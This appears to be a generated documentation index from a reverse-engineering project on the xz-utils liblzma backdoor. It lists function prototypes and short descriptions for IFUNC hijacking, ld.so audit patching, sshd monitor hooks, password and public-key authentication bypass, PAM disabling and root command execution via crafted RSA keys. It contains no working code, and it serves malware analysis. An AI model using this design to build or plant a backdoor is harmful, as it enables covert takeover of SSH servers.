@ X_FLAGS1_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1830
@ X_FLAGS1_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1842
BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx)
forges a new MONITOR_REQ_KEYALLOWED packet, and injects it into the server to gain root privileges th...
uintptr_t backdoor_symbind64(Elf64_Sym *sym, unsigned int ndx, uptr *refcook, uptr *defcook, unsigned int flags, const char *symname)
the backdoored symbind64 installed in GLRO(dl_audit)
BOOL find_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA or MOV instruction with an immediate memory operand
EncodedStringId get_string_id(const char *string_begin, const char *string_end)
Get the.
BOOL rsa_key_hash(const RSA *rsa, u8 *mdBuf, u64 mdBufSize, imported_funcs_t *funcs)
obtains a SHA256 hash of the supplied RSA key
BOOL main_elf_parse(main_elf_t *main_elf)
Parses the main executable from the provided structure. As part of the process the arguments and envi...
fake_lzma_allocator_t fake_lzma_allocator
special .data.rel.ro section that contains a fake lzma_allocator
BOOL sshd_kex_sshbuf_get(void *kex, global_context_t *ctx, void **pOutputData, size_t *pOutputSize)
locates an sshbuf within struct kex (FIXME: which?)
struct elf_handles elf_handles_t
array of ELF handles
BOOL find_add_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds an ADD instruction with an immediate memory operand
u8 * elf_find_string_reference(elf_info_t *elf_info, EncodedStringId encoded_string_id, u8 *code_start, u8 *code_end)
finds an instruction that references the given string
BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end)
disassembles the given x64 code
BOOL sshd_find_main(u8 **code_start_out, elf_info_t *sshd, elf_info_t *libcrypto, imported_funcs_t *imported_funcs)
finds the sshd_main function
BOOL find_lea_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA instruction with an immediate memory operand
const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
special .rodata section that contains _cpuid() related GOT offsets
BOOL sshd_get_sensitive_data_address_via_krb5ccname(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, void **sensitive_data_out, elf_info_t *elf)
finds the address of sensitive_data.host_keys in sshd by using getenv( STR_KRB5CCNAME )
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1592
u8 * find_string_reference(u8 *code_start, u8 *code_end, const char *str)
finds an instruction that references the given string
int sshd_get_sensitive_data_score(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if accesses sensitive_data or not
BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx)
obtains a decrypted copy of the secret data
BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode)
locates the function prologue
BOOL find_link_map_l_audit_any_plt_bitmask(backdoor_data_handle_t *data, instruction_search_ctx_t *search_ctx)
Find the bitmask required to modify ld.so's private link_map::l_audit_any_plt state.
int sshd_get_sensitive_data_score_in_demote_sensitive_data(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if demote_sensitive_data accesses sensitive_data or not
BOOL check_backdoor_state(global_context_t *ctx)
checks if the backdoor state is the expected one (FIXME: which?)
BOOL count_pointers(void **ptrs, u64 *count_out, libc_imports_t *funcs)
count the number of non-NULL pointers in the malloc'd memory block ptrs
unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame)
calls backdoor_init while in the crc64() IFUNC resolver function
BOOL find_dl_audit_offsets(backdoor_data_handle_t *data, ptrdiff_t *libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find the various offsets in ld.so that need modification to trigger _dl_audit_symbind_alt() to call b...
BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t *reloc_consts)
BOOL sshd_find_monitor_field_addr_in_function(u8 *code_start, u8 *code_end, u8 *data_start, u8 *data_end, void **monitor_field_ptr_out, global_context_t *ctx)
find a pointer to a field in struct monitor by examining code referencing it
const u64 string_mask_data[238]
contains mask data for the encoded string radix tree
int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m)
runs the payload received from sshd_proxy_elevate, and then runs the original mm_answer_keyallowed fu...
BOOL chacha_decrypt(u8 *in, int inl, u8 *key, u8 *iv, u8 *out, imported_funcs_t *funcs)
decrypts a buffer with chacha20
BOOL decrypt_payload_message(void *payload, size_t payload_size, global_context_t *ctx)
decrypts the given backdoor payload
BOOL sshd_patch_variables(BOOL skip_root_patch, BOOL disable_pam, BOOL replace_monitor_reqtype, int monitor_reqtype, global_context_t *global_ctx)
Patches the sshd configuration.
void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d)
actually calls cpuid instruction
unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame)
the backdoor entrypoint function, called by the IFUNC resolver for liblzma crc32() and crc64()
BOOL bignum_serialize(u8 *buffer, u64 bufferSize, u64 *pOutSize, const BIGNUM *bn, imported_funcs_t *funcs)
Serializes the BIGNUM bn to the buffer buffer.
BOOL elf_find_string_references(elf_info_t *elf_info, string_references_t *refs)
parses the ELF rodata section, looking for strings and the instructions that reference them
struct backdoor_data_handle backdoor_data_handle_t
data passed to functions that access the backdoor data
int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m)
used in conjunction with mm_answer_keyallowed_hook to bypass the key validity check
union backdoor_runtime_data backdoor_runtime_data_t
union used within run_backdoor_commands
Elf64_Sym * elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version)
Looks up an ELF symbol from a parsed ELF.
u32 count_bits(u64 x)
returns the number of 1 bits in x
struct run_backdoor_commands_data run_backdoor_commands_data_t
stack frame layout for run_backdoor_commands
BOOL secret_data_append_from_address(void *addr, secret_data_shift_cursor_t shift_cursor, unsigned shift_count, unsigned operation_index)
calls secret_data_append_singleton with either the given code address or the return address,...
BOOL secret_data_append_items(secret_data_item_t *items, u64 items_count, BOOL(*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *))
appends multiple secret data items at once
int sshd_get_sensitive_data_score_in_main(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if main accesses sensitive_data or not
BOOL sshd_get_client_socket(global_context_t *ctx, int *pSocket, int socket_index, enum SocketMode socket_direction)
Get either the read or write end of the sshd connection.
const ptrdiff_t fake_lzma_allocator_offset
special .data.rel.ro section that contains the offset to fake_lzma_allocator_struct
struct key_payload key_payload_t
the contents of the RSA 'n' field
const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts
special .rodata section that contains __tls_get_addr() related GOT offsets
BOOL is_gnu_relro(Elf64_Word p_type, u32 addend)
checks if the provided identifiers represent a PT_GNU_RELRO
void * find_addr_referenced_in_mov_instruction(StringXrefId id, string_references_t *refs, void *mem_range_start, void *mem_range_end)
find an address referenced in a function
u32 resolver_call_count
counts the number of times the IFUNC resolver is called
BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx)
configure the log hook
CommandFlags3
Definition: xzre.h:1883
@ X_FLAGS3_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1891
@ X_FLAGS3_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1887
struct monitor_data monitor_data_t
data used within sshd_proxy_elevate
const u64 cpuid_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
void * elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Gets the GOT symbol with name encoded_string_id from the parsed ELF file.
void * elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Gets the PLT symbol with name encoded_string_id from the parsed ELF file.
int mm_answer_authpassword_hook(struct ssh *ssh, int sock, struct sshbuf *m)
used to bypass password authentication by replying with a successful MONITOR_ANS_AUTHPASSWORD
BOOL secret_data_append_from_call_site(secret_data_shift_cursor_t shift_cursor, unsigned shift_count, unsigned operation_index, BOOL bypass)
Shifts data in the secret data store, after validation of the call site, i.e. the caller of this func...
BOOL sshd_find_monitor_struct(elf_info_t *elf, string_references_t *refs, global_context_t *ctx)
finds the pointer to struct monitor, and updates the global context in ctx with its location
ptrdiff_t get_got_offset(elf_entry_ctx_t *ctx)
get the offset to the GOT
void * update_got_address(elf_entry_ctx_t *entry_ctx)
finds the __tls_get_addr() GOT entry
BOOL secret_data_append_from_code(void *code_start, void *code_end, secret_data_shift_cursor_t shift_cursor, unsigned shift_count, BOOL start_from_call)
Pushes secret data by validating the given code block.
char * elf_find_string(elf_info_t *elf_info, EncodedStringId *stringId_inOut, void *rodata_start_ptr)
Locates a string in the ELF .rodata section.
BOOL find_function(u8 *code_start, void **func_start, void **func_end, u8 *search_base, u8 *code_end, FuncFindType find_mode)
locates the function boundaries.
void sshd_log(sshd_log_ctx_t *log_ctx, LogLevel level, const char *fmt,...)
calls sshlogv from openssh, similarly to sshlog in openssh
BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig)
checks if the supplied RSA public key contains the backdoor commands, and executes them if present.
BOOL sshd_get_sensitive_data_address_via_xcalloc(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, string_references_t *string_refs, void **sensitive_data_out)
finds the address of sensitive_data.host_keys in sshd by using XREF_xcalloc_zero_size in xcalloc
ptrdiff_t get_tls_get_addr_random_symbol_got_offset(elf_entry_ctx_t *ctx)
get the tls_get_addr_random_symbol GOT offset
BOOL sshbuf_bignum_is_negative(struct sshbuf *buf)
checks if the given serialized BIGNUM is negative
int init_shared_globals(backdoor_shared_globals_t *shared_globals)
Initializes the backdoor_shared_globals structure.
elf_functions_t * get_elf_functions_address(void)
gets the address of the elf_functions
BOOL find_mov_lea_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
like find_mov_instruction, but also considers LEA instructions
BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement)
finds a lea instruction
void * fake_lzma_alloc(void *opaque, size_t nmemb, size_t size)
a fake alloc function called by lzma_alloc() that then calls elf_symbol_get_addr()
BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx)
finds a reg2reg instruction
u64 get_cpuid_got_index(elf_entry_ctx_t *ctx)
get the cpuid() GOT index
lzma_allocator * get_lzma_allocator(void)
gets the fake LZMA allocator, used for imports resolution the "opaque" field of the structure holds a...